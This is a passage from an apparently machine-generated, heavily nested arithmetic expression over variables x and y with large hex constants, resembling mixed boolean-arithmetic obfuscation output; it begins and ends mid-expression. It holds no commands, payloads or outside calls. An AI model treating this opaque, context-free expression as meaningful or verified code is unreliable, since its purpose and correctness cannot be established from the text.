-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9